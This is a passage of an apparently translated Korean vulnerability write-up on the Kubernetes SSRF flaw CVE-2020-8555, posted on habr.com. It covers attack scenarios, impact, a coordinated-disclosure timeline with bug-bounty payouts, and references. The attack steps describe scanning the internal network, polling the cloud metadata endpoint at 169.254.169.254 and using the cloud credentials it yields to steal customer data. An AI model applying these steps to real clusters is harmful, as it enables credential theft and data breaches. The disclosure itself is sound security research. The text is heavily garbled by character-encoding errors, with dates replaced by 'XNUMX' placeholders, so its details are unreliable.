- ๋ก์ปฌ ๋คํธ์ํฌ์์ ๋ฐ๊ฒฌ๋ ๋ค๋ฅธ ๋ฆฌ์์ค์ ํจ๊ป IDOR(Insecure Direct Object Reference) ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ ์ ์๋๋ฆฌ์ค๋ฅผ ์ฌํํฉ๋๋ค.
ะะพะฝัะธะดะตะฝัะธะฐะปัะฝะพััั
- ๊ณต๊ฒฉ ์ ํ
์ธก๋ฉด ์ด๋ ํด๋ผ์ฐ๋ ์๊ฒฉ ์ฆ๋ช (์: ๋ฉํ๋ฐ์ดํฐ API) ๋๋์ผ๋ก ์ธํด ๋ฐ์ํฉ๋๋ค. - ๋ก์ปฌ ๋คํธ์ํฌ๋ฅผ ์ค์บํ์ฌ ์ ๋ณด๋ฅผ ์์งํฉ๋๋ค(SSH ๋ฒ์ , HTTP ์๋ฒ ๋ฒ์ ๋ฑ ํ์ธ).
- ๋ฉํ๋ฐ์ดํฐ API์ ๊ฐ์ ๋ด๋ถ API๋ฅผ ํด๋งํ์ฌ ์ธ์คํด์ค ๋ฐ ์ธํ๋ผ ์ ๋ณด๋ฅผ ์์งํฉ๋๋ค(
http://169.254.169.254
,โฆ). - ํด๋ผ์ฐ๋ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ ๊ณ ๊ฐ ๋ฐ์ดํฐ๋ฅผ ํ์นฉ๋๋ค.
๊ฐ์ฉ์ฑ
๊ณต๊ฒฉ ๋ฒกํฐ์ ๊ด๋ จ๋ ๋ชจ๋ ์ ์ฉ ์๋๋ฆฌ์ค ์ง์ค์ฑ, ํ๊ดด์ ์ธ ์์ ์ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ ํด๋ผ์ด์ธํธ ๊ฒฝ๊ณ(๋๋ ๊ธฐํ)์ ๋ง์คํฐ ์ธ์คํด์ค๋ฅผ ์ฌ์ฉํ ์ ์๊ฒ ๋ ์ ์์ต๋๋ค.
์ฐ๋ฆฌ๋ ๊ด๋ฆฌํ K8s ํ๊ฒฝ์์ ๋ฌด๊ฒฐ์ฑ์ ๋ํ ์ํฅ์ ํ๊ฐํ๊ธฐ ๋๋ฌธ์ ๊ฐ์ฉ์ฑ์ ์ํฅ์ ๋ฏธ์น ์ ์๋ ๋ง์ ์๋๋ฆฌ์ค๋ฅผ ์์ํ ์ ์์ต๋๋ค. ์ถ๊ฐ ์๋ก๋ etcd ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ ๋๋ Kubernetes API์ ๋ํ ์ค์ํ ํธ์ถ์ด ํฌํจ๋ฉ๋๋ค.
ํ์ ๋ผ์ธ
- 6๋ 2019์ XNUMX์ผ: ์ทจ์ฝ์ฑ์ด MSRC Bug Bounty์ ๋ณด๊ณ ๋์์ต๋๋ค.
- 3๋ 2020์ XNUMX์ผ: ์ XNUMX์๊ฐ Kubernetes ๊ฐ๋ฐ์์๊ฒ ์ฐ๋ฆฌ๊ฐ ๋ณด์ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ๋ ธ๋ ฅํ๊ณ ์๋ค๊ณ ์๋ ธ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ SSRF๋ฅผ ๋ด๋ถ(ํต์ฌ) ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผํ๋๋ก ์์ฒญํ์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ๋ฌธ์ ์ ์์ธ์ ๋ํ ๊ธฐ์ ์ ์ธ ์ธ๋ถ ์ ๋ณด๊ฐ ํฌํจ๋ ์ผ๋ฐ ๋ณด๊ณ ์๋ฅผ ์ ๊ณตํ์ต๋๋ค.
- 15๋ 2020์ XNUMX์ผ: Kubernetes ๊ฐ๋ฐ์์ ์์ฒญ์ ๋ฐ๋ผ HackerOne ํ๋ซํผ์ ํตํด ๊ธฐ์ ๋ฐ ์ผ๋ฐ ๋ณด๊ณ ์๋ฅผ ์ ๊ณตํ์ต๋๋ค.
- 15๋ 2020์ 8์ผ: Kubernetes ๊ฐ๋ฐ์๋ ์ด์ ๋ฆด๋ฆฌ์ค์ ๋ฐ๋งน๊ฒ SSRF + CRLF ์ฃผ์ ์ด ํต์ฌ ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผ๋๋ค๋ ์ฌ์ค์ ์ฐ๋ฆฌ์๊ฒ ์๋ ธ์ต๋๋ค. ์ฐ๋ฆฌ๋ ์ฆ์ ๋ค๋ฅธ ์๋น์ค ์ ๊ณต์ ์ฒด์ ๊ฒฝ๊ณ ๋ถ์์ ์ค๋จํ์ต๋๋ค. ์ด์ KXNUMXs ํ์ด ๊ทผ๋ณธ ์์ธ์ ์ฒ๋ฆฌํ๊ณ ์์์ต๋๋ค.
- 15๋ 2020์ XNUMX์ผ: HackerOne์ ํตํด MSRC ๋ณด์์ ๋ฐ์์ต๋๋ค.
- 16๋ 2020์ XNUMX์ผ: Kubernetes PSC(์ ํ ๋ณด์ ์์ํ)๋ ์ทจ์ฝ์ ์ ์ธ์ํ๊ณ ์ ์ฌ์ ํผํด์๊ฐ ๋ง์ผ๋ฏ๋ก XNUMX์ ์ค์๊น์ง ๋น๋ฐ๋ก ์ ์งํด ์ค ๊ฒ์ ์์ฒญํ์ต๋๋ค.
- 11๋ 2020์ XNUMX์ผ: Google VRP ๋ณด์์ ๋ฐ์์ต๋๋ค.
- 4๋ 2020์ XNUMX์ผ: HackerOne์ ํตํด Kubernetes ๋ณด์์ ๋ฐ์์ต๋๋ค.
- 15๋ 2020์ 19์ผ: ์ฝ๋ก๋XNUMX ์ํฉ์ผ๋ก ์ธํด ์๋ ๊ณต๊ฐ ์์ ์ด์๋ ๊ณต๊ฐ๊ฐ ์ฐ๊ธฐ๋์์ต๋๋ค.
- 1๋ 2020์ XNUMX์ผ: ์ทจ์ฝ์ฑ์ ๋ํ Kubernetes + Microsoft ๊ณต๋ ์ฑ๋ช .
TL; DR
- ๋งฅ์ฃผ๋ ๋ง์๊ณ ํผ์๋ ๋จน๊ณ :)
- ์ฐ๋ฆฌ๋ ๊ทธ๋ ๊ฒ ํ ์๋๊ฐ ์์์ง๋ง Kubernetes์์ ํต์ฌ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
- ์ฐ๋ฆฌ๋ ๋ค์ํ ํด๋ผ์ฐ๋ ์ ๊ณต์ ์ฒด์ ํด๋ฌ์คํฐ์ ๋ํ ์ถ๊ฐ ๋ถ์์ ์ํํ์ผ๋ฉฐ ์ทจ์ฝ์ ์ผ๋ก ์ธํ ํผํด๋ฅผ ์ฆ๊ฐ์์ผ ์ถ๊ฐ์ ์ธ ๋ฉ์ง ๋ณด๋์ค๋ฅผ ๋ฐ์ ์ ์์์ต๋๋ค.
- ์ด ๊ธฐ์ฌ์์ ๋ง์ ๊ธฐ์ ์ ์ธ๋ถ ์ฌํญ์ ์ฐพ์ ์ ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ๋น์ ๊ณผ ํจ๊ป ์ด ๋ฌธ์ ์ ๋ํด ๊ธฐ๊บผ์ด ๋
ผ์ํ ๊ฒ์
๋๋ค(Twitter:
@ReeverZax &@__hach_ ). - ๋ชจ๋ ์ข ๋ฅ์ ์ ์ฐจ์ ๋ณด๊ณ ์ ์์๋ณด๋ค ํจ์ฌ ์ค๋ ์๊ฐ์ด ๊ฑธ๋ ธ๋ค๋ ์ฌ์ค์ด ๋ฐํ์ก์ต๋๋ค.
์ฐธ์กฐ
-
Google ๊ทธ๋ฃน kubernetes-security-announce ; -
CVE-2020-8555 ; -
๊ณจ๋ญ ๋ฌธ์ #30794 ; -
heketi/client/api/go-client/volume.go .
๋ฒ์ญ๊ฐ์ ์ถ์
๋ธ๋ก๊ทธ์์๋ ์ฝ์ด๋ณด์ธ์.
- ยซ
Kubernetes ๋ฒ๊ทธ ํํธ๊ฐ ๊ณต์์ ์ผ๋ก ์์๋์์ต๋๋ค. "; - ยซ
๋ก๊ทธ๋ฅผ ๋ง์ดํธํ์ฌ Kubernetes์์ Pod ์ข ๋ฃ "; - ยซ
33๊ฐ ์ด์์ Kubernetes ๋ณด์ ๋๊ตฌ ".
์ถ์ฒ : habr.com